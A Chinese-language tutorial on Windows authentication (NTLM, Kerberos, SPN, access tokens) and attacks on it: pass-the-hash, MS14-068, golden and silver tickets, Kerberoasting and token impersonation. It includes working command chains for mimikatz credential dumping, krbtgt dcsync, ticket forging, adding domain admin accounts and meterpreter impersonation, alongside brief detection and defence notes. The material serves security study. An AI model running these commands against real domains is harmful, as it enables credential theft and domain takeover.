一、本地认证
基础知识
Windows系统在本地认证过程中,操作系统会要求用户输入密码作为凭证去做身份验证。 在验证过程中,系统并不保存明文密码,而是将用户输入的密码转变为NTLM hash(也叫NT hash),再与储存在本地SAM文件中的哈希值进行比对。如果哈希值相同,则认证成功。
- SAM文件可理解为一个数据库,其中保存了计算机本地用户的所有凭证信息
- SAM文件位置:
%SystemRoot%\\system32\\config\\sam
认证过程
用户登录账户时,系统会显示登录界面,以供用户输入凭证,接收输入后,输入框会将密码交给lsass进程。该进程会先保留一份明文密码,再将明文加密成NTLM hash,然后将HTLM hash与SAM文件中储存的用户凭证进行比对,如果比对成功,则完成对用户的认证。
- 登陆界面由winlogon.exe(Windows Logon Process)提供,是Windows NT的用户登陆程序,用于管理用户登录和退出。
- LSASS用于微软Windows系统的安全机制,用于本地安全和登陆策略,可从lsass进程中dump明文密码(win10以后不能直接dump了)
简化流程:
winlogon.exe(输入框)> 接收用户输入 > lsass.exe (存一份明文,再加密成NTLM hash)> 与sam数据库比对
NTLM hash生成算法
明文密码 > hex(16进制编码) > MD4 加密
例如:
admin -> hex(16进制编码) = 61646d696e 61646d696e -> Unicode = 610064006d0069006e00 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
- 本文中的NTLM hash 专指 NT hash,LM Hash由于易被破解已被淘汰,某些工具 LM:NT 格式中LM可用全0代替
- MD4算法为真正的单向加密算法,暴力破解明文较麻烦
NTLM hash与NTLM的关系
NTLM hash为windows认证中的密码哈希散列 NTLM时一种网络认证协议,全称为:NT LAN Manager,使用HTLM hash作为认证中的根本凭证
LM hash: NTLM协议的前身LM协议(LAN Manager)所使用的密码hash。 NT与LM认证机制相同,但加密算法不同,由于LM hash较容易被破解,已被淘汰。
二、网络认证
NTLM协议:
NTLM是一种基于挑战(Chalenge)/响应(Response)认证机制的网络认证协议,其过程分为三布:协商、质询、验证,主要部分为质询
- 协商:主要用于确认双方协议版本
- 挑战(Chalenge)/响应(Response)认证机制起作用的范畴
- 验证:验证主要是在质询完成后,验证结果,是认证的最后一步
NTLM(质询阶段)认证过程:
- Clinet向Server用明文发送自己的用户信息(用户名),告知Server自己的身份
- Server生成一个16位明文随机数,称为“challenge”,每次认证生成的challenge都不同。Server将challenge发回给Client,并用该Client声称的用户名对应的NTLM hash加密该challenge,并将加密结果放入内存。该结果称为“Net NTLM Hash”。
- Client收到challenge后,使用要登录账户的NTLM hash加密该challenge生成“response”发回给Server,该response也被称为“Net NTLM hash”
- Server接到Response后,将Response与Net NTLM hash进行对比,若相等则认证通过。
- 域环境内认证:
- Server将用户名、加密前后challenge发给DC
- DC用该用户名对应hash加密challenge比对,结果返回给Server,然后反馈到Client
NTLM v2 协议
NTLM v1与NTLM v2区别:
- challeng: v1有8位,v2有16位
- 加密算法:v1是DEC,v2是HMAC-MD5
PTH攻击(Pass The Hash):
原理
windows将用户输入的密码转变为Hash进行验证,验证成功后将Hash存储在内存以便用户不用再次输入。 攻击者得到内存中用户的Hash后无需破解明文,可直接发到其他机器进行验证。该过程称为PTH攻击(Pass The Hash)
必要条件
- 被认证的主机能够访问到服务器
- 拥有被传递认证的用户名
- 拥有被传递认证用户的NTLM Hash
工具
- CrackMapExec(最好用,可以批量操作)
- Mimikatz
- Impacket
- PsExec(微软自家软件,自带免杀,impacket和msf中内置)
- PTH-smbclient(Kali内置)
- msf(smb_login,psexec,psexec_command:单个命令执行完就退出,更隐蔽)
攻击方法
攻击检测与预防
检测方法:
- 监控日志检测工具监控主机异常行为(如修改LSASS进程)
- 监控配置文件修改(WDigest,LocalAccountTokenFilterPolicy等)
- 监控单个IP的多个连接
预防方法:
- 禁用LATFP设置
- 使用LAPS本地密码管理方案
- 使用强身份认证
三、Kerberos域认证
Active Directory(活动目录)
概念:
活动目录(Active Directory)是为企业提供组织化管理资产、服务、网络对象的服务的工具。 AD使用了结构化数据存储方式,并以此为基础对目录信息进行分层,储存了有关网络对象的信息以供用户和管理员查找使用
- 网络对象包括:用户、用户组、计算机、域、组织单位、安全策略等
- AD服务以域名划分域的边界
功能:
- 服务器及客户端计算机管理:管理服务器及客户端计算机账户, 所有服务器及客户端计算机加入域管理并实施组策略。
- 用户服务:管理用户域账户、用户信息、企业通讯录(与电子邮 件系统集成)、用户组管理、用户身份认证、用户授权管理等, 按省实施组管理策略。
- 资源管理:管理打印机、文件共享服务等网络资源。
- 桌面配置:系统管理员可以集中的配置各种桌面配置策略,如: 用户使用域中资源权限限制、界面功能的限制、应用程序执行特 征限制、网络连接限制、安全配置限制等。
- 应用系统支撑:支持财务、人事、电子邮件、企业信息门户、办公自动化、补丁管理、防病毒系统等各种应用系统。
在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。这中间就需要Kerberos认证协议来验证网络对象间的权限。
Kerberos基础知识
概念:
Kerberos是一种网络认证协议,其涉及目的为通过密钥系统为Client和Server的应用程序提供强大的认证服务。 该认证过程不依赖主机OS的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传输的数据包可被任意读取、修改 在以上情况下,Kerberos作为一种可信任的第三方认证服务,通过传统密码技术(如共享密钥)执行认证服务
组成:
- Client 客户端
- Server 服务器
- KDC 密钥分发中心 = DC
- AS 身份验证服务
- TGS 票据授权服务
票据(Ticket)是是网络对象互相访问的凭证,如TGT(Ticket Granting Ticket 金票),ST(Session Ticket 银票) DC为域控制器,DC中用户krbtgt用户的Hash用于Kerberos协议的各种验证 AD为活动目录,AD中有账户数据库(AD),其中储存了域内所有用户的密码Hash和白名单,在白名单中的Client才可以申请TGT 从物理层面看,AD与KDC均为DC(Domain Controller 域控制器)。
粗略认证过程:
- 与AS交互(拿金票) Client向DC发送请求,希望获得某个Server的访问权限。DC中的AS(身份认证)部分收到请求后,对请求进行身份验证。验证成功后,将TGT(金票)返回给Client。
- 与TGS交互(拿银票) Client得到TGT后,利用TGT再次向DC发送请求。DC通过TGT判断Client拥有权限之后,TGS会将用于访问目标Server的票据ST(银票)发送给Client。
- 与目标Server交互(双向认证) Client得到ST后,利用ST向Server发起申请,同时告知Server是否需要双向验证。Server验证ST成功判断Client拥有访问权限后,会向Client发送信息以供Client验证。至此,认证过程结束。
详细认证过程:
1. 与AS交互(拿金票)
通过对Client身份信息的验证,颁发给Client一个TGT。具体过程如图:
REQ:Client用自己账户的NTLM hash(CA Master Key)加密当前时间截(Timestamp),随client信息和目标Server信息等,发送给KDC。AS收到Clinet信息后,首先判断它是否在拥有请求权限的白名单中,然后取出该用户的Master Key解密该用户发送的时间截,若与当前时间截差距超过5分钟(默认),则拒绝与Clinet的认证请求
REP:若上述验证成功,KDC会: 1.根据目标Server Name生成一个Session Key(SServer-Client),再用CA Master Key加密生成SKDC-Client。 2.用KDC Master Key(krbtgt NTLM hash)加密SKDC-Client、Client信息、票据到期时间生成TGT 之后,KDC会将TGT与SKDC-Client一同发给Client,KDC不会将TGT保存到本地
- AS_REQ = CA Master Key[Server Name + Client info + CA Master Key(Timestamp)] SKDC-Client = CA Master Key(SServer-Client) TGT = KDC Master Key(SKDC-Client + Client info + End Time)
- SServer-Client为随机字符串,根据目标Server的信息生成
- krbtgt是DC中的一个固定账户,其NTLM hash用于制作金票等各验证环节。其内容一般固定。
2. 与TGS交互(拿银票)
通过对TGT和Client身份信息的验证,颁发给Client一张ST。具体过程如图:
REQ:Client将TGT,SKDC-Client加密的Client信息,Server信息,Client名发送给KDC。KDC用KDC Master Key解密TGT得到其中的SKDC-Client,再用SKDC-Client解密得到Client info,并与Client发来的Client信息作比对。
REP:若信息相同,KDC会再次生成SServer-Client和过期时间,然后用SA Master Key(目标Server的NTLM hash)加密SServer-Client,Client信息,过期时间生成ST(银票 Session Ticket),再用SServer-Client加密SKDC-Client,最后全部发回给Client。
- TGS_REQ = Server info + Client Name + SKDC-Client(Client info) + TGT ST = SA Master Key(SServer-Client + Client Name + End Time) TGS_REP = ST + SServer-Client(SKDC-Client)
3. 与Server交互(双向)
Client通过ST完成与Server的交互,过程如图:
REQ:Client用CA Master Key解密SKDC-Client得到SServer-Client,用SServer-Client加密Client info和时间截生成Auth以证明自己为ST所有者,然后将ST与Auth和标记是否需要双向验证的Flag发送给Server。Server收到CD_REP后用SA Master Key解密ST得到SServer-Client和Client info,再用SServer-Client解密Auth得到Client info 和时间截,若两个Client info相等,且时间截与当前时间截不超过五分钟,则完成对Client的认证
REP:若Client在flag中声明需要双向验证,Server会把Client发送给来的时间截用SServer-Client加密后发回去。Client解密后进行对比,若相等,则完成了对Server的认证。认证成功后,ST会一直存在Client的内存中
- CS_REQ = ST + SServer-Client(Client info + Timestamp)
票据传递攻击(PTT)
票据传递攻击PTT(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持,其原理为获取并利用目标的HTLM hash来制作票据,最终获得目标的访问权限
黄金票据(TGT)
原理: KDC不保存SKDC-Client,且krbtgt的NTLM hash固定,可以利用其伪造TGT与SKDC-Client,进而控制DC
特点: 不需要与AS交互,需要krbtgt账户的NTLM hash
过程:
1.利用漏洞获取DC权限
systeminfo | find "3011780" //拿到域内普通用户Admin权限,查看是否有补丁
net config workstation //查看域名
nltest /dsgetdc:域名 //查看DC
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt //获取用户账号密码
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址 //伪造票据
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址 //导入凭证
dir \\\\域控地址\\c$ //测试权限
net user aaa Qwe123... /add /domain,net group "Domain Admins" aaa /add /domain //测试权限
2.伪造金票
# privilege::debug //权限测试
# lsadump::dcsync /domain:cyberpeace.com /all /csv //mimikatz导出Hash:
# lsadump::dcsync /domain:cyberpeace.com /user:krbtgt //查看krbtgt的sid
mimikatz.exe "kerberos::golden /admin:system /domain:cyberpeace.com /sid:~ /krbtgt:~ /ticket:ticket.kirbi" exit //制作金票
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
3.利用金票
mimikatz # kerberos::purge //清除缓存
kerberos::ptt ticket.kirbi //导入金票
普通用户导入伪造金票后可以创建DC用户
白银票据(ST)
特点:
- 范围更有限,但哈希更容易获得
- 大多数服务不会验证PAC,所以有效TGS可以完全虚构PAC,如生成用户为域管理员
- TGS与DC无链接,事件日志位只于目标服务器,检测相对困难
过程:
mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt //导出Server Hash
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit //伪造票据
清空,导入票据
由于白银票据需要目标服务器的Hash,因此只能针对单个目标服务器上的某些服务去伪造,伪造的服务类型列表如下:
服务注释:服务名 WMI:HOST、RPCSS Powershell Remoteing:HOST、HTTP WinRM:HOST、HTTP Scheduled Tasks:HOST LDAP 、DCSync:LDAP Windows File Share (CIFS):CIFS Windows Remote ServerAdministration Tools:PCSS、LDAP、CIFS
防御方法:
- 开启PAC特权属性证书保护功能(规定Server向KDC验证Server Session Key,开启方式:将注册表中HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Lsa\Kerberos\Parameters中的ValidateKdcPacSignature设置为1。)
- 保护Server NTLM不被窃取(废话)
PTT总结
黄金票据:
- 权限:TGT,可获取任意Kerberos访问权限
- 流程:与KDC交互,但不与AS交互
- 加密方式(制作需求):krbtgt NTLM hash
- 攻击角度:需要拿到DC权限,获取krbtgt hash后,可在域中持久性隐藏,且无法溯源,可长时间控制整个域
- 防御角度:要经常更新krbtgt密码,不允许域管账户登录其他主机
白银票据:
- 权限:ST,只能访问指定服务器的指定服务
- 流程:不与KDC交互,可直接访问Server
- 加密方式(制作需求):服务账号的NTLM hash
- 攻击角度:对外Server容易入侵,难度相对较小
- 防御角度:开启PAC认证会降低认证效率,增加DC负担,要从根本上加固服务器对外服务
四、SPN与Kerberoast攻击
SPN(服务主体名 Service Principal name)
简介:
SPN是域环境中为每种资源分配设计的一种表示方法,是Kerberos身份验证网络中的唯一标识符。所有Kerberos身份验证网络中的主机,都必须在机器账号或用户账号下给每一个服务注册SPN
如果一个服务的权限为local system或network service的,则SPN注册到机器账号下;权限为域用户,则SPN注册到用户账号下,在域用户账号下运行服务须手动注册SPN。
Kerberos机制使用SPN将服务实例与登录账号关联,即一个域内主机上安装了多个服务实例,则每个实例都有自己的SPN。
SPN格式如下:
serviceclass / host:port servicename serviceclass:服务组件名 host :计算机FQDN,port :该服务监听的端口号 servicename:服务的专有名(distinguished name--DN)或objectGUID或Internet 主机名或FQDN 其中serviceclass,host为必选参数,不同服务组件名不同
常见SPN服务名列表:SPN扫描 - 信安本原 - 博客园 (cnblogs.com)
SPN扫描
与网络扫描相比,SPN服务扫描不通过连接IP实现判断(可能触发报警),而是通过Kerberos原理向域控查询服务,域内任何用户都可以使用此方法,在内网渗透中更加好用
SetSPN是一个本地的windows二进制文件,用于检索用户账户与服务之间的映射,可用于添加删除查看SPN(win2003没有此功能)。具体操作如下:
setspn -q */* #查找全部SPN信息
setspn -T 域名 -q */* #查看某指定域内SPN信息:
setspn -q */* | findstr "MSSQL" #查找域中服务名带"MSSQL"的SPN
SPN服务的常用扫描工具如下:
- PowerShell-AD-Recon工具包
- GetUserSPNs:属于Kerberos工具包的一部分
- PowerShellery
- PowerView
- Impacket
- Powershell Empire
Kerberoast攻击
简介
ST服务票据使用服务帐户NTLM hash加密,所以任何域用户都可以从服务器转储hash用于攻击,而无需将shell引入运行该服务的系统。
Kerberoast即破解Kerberos服务票据并重写,从而获得目标Server访问权限
特点:合法访问,离线破解,不需要与服务目标有任何交互
步骤:SPN发现,请求服务票据,导出,破解,重写&注入
攻击前提
- 域内任意主机都可查询SPN,但攻击者可利用的只有域用户下注册的SPN
- 攻击者通常会选择那些可能设置了弱密,码破解成功率较高的票据来尝试破解。 判断可利用票据的属性有:SPNs绑定到域用户账户,最后一次密码设置(Password last set),密码过期时间最后一次登录(Last logon)等
攻击过程
kerberoat攻击中可利用的工具组合有很多种,本文只阐述一条完整的攻击链。
# kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 //通过Mimikatz指定服务主体名称作为目标
# kerberos::list //列出内存中的所有可用票据
# kerberos::list /export //列出内存中的所有可用票据,并保存在远程主机
python tgsrepcrack.py /root/Desktop/passwords.txt PENTESTLAB_001.kirbi //利用Tim Medin Kerberoast工具包中的tgsrepcrack脚本,配合字典爆破Kerberos票据
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500 //利用破解出的Hash重写票据
# kerberos::ptt PENTESTLAB.kirbi //用Mimikatz将票据注入内存
其中 Tim Medin的Kerberoast工具包Auto-Kerberoast已实现攻击流程的自动化
Kerberoast后门利用
当我们获取到有权注册SPN的域账号,或拿到了域控,我们就可以为指定的域用户添加一个SPN。这样就可以随时获得该用户的TGS,从而可以通过破解获得明文口令。 具体操作如下:
setspn.exe -U -A VNC/WIN-Q2JR4MURGS0.hacke.testlab Administrator
// 为添加管理员Administrator添加VNC/WIN-Q2JR4MURGS0.hacke.testlab
五、Windows Access Token
简介
Windows Token也叫Access Token(访问令牌),是描述进程(线程)安全上下文的对象,不同用户登录主机后,都会生成一个。(可以用来给进程分配权限)该Token在用户创建进程(线程)时被使用,不断拷贝,这也解释了A用户创建的进程没有B用户权限。
每个进程创建时,都会根据登录会话权限,由LSA(Local Security Authority)分配一个Token。如果CreatProcess时自己指定了 Token, LSA会用该Token, 否则就用父进程Token的一份拷贝。
Access Token种类:主令牌,模拟令牌 一般情况下,用户双击运行一个程序,都会拷贝“explorer.exe”的Access Token。 当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清除。只有在重启机器后才会清除。
组成(记录了哪些信息)
- 用户帐户的安全标识符(SID)
- 用户所属的组的SID
- 用于标识当前登录会话的登录SID
- 用户或用户组所拥有的权限列表
- 所有者SID
- 主要组的SID
- 访问控制列表
- 访问令牌的来源
- 令牌是主要令牌还是模拟令牌
- 限制SID的可选列表
- 目前的模拟等级
- 其他统计数据
其中,SID 安全提示符(Security Identifiers) 是一个唯一的字符串,可代表一个账户、用户组、一次登录。通常有一个SID固定列表,已内置账户如Everyone默认拥有固定SID。
SID表现形式:
- 域SID-用户ID
- 计算机SID-用户ID
- SID列表都会存储在域控的AD或者计算机本地账户数据库中。
Windows Access Token令牌假冒攻击
原理
用户注销后,系统会使主令牌变为模拟令牌,在重启前不会清除 攻击者可查看系统内令牌,并假冒其中任意用户
工具
- Incognito(MSF)
- Powershell - Invoke-TokenManipulation.ps1
- Cobalt Strike - steal_token
过程
meterpreter > getsystem
meterpreter > load incognito #加载incognito模块
meterpreter > list_tokens –u #获取Token列表
Delegation Tokens Available ============================== NT AUTHORITY\\LOCAL SERVICENT AUTHORITY\\NETWORK SERVICENT AUTHORITY\\SYSTEM PAYLOADS\\Administrator PAYLOADS\\w7
meterpreter > impersonate_token "PAYLOADS\\\\Administrator” #利用Token假冒管理员用户
[+] Delegation token available
[+] Successfully impersonated user PAYLOADS\\Administrator
防御方法
- 禁止域管理员账户登录对外且未做安全加固的服务器。
- 重启服务器,清除令牌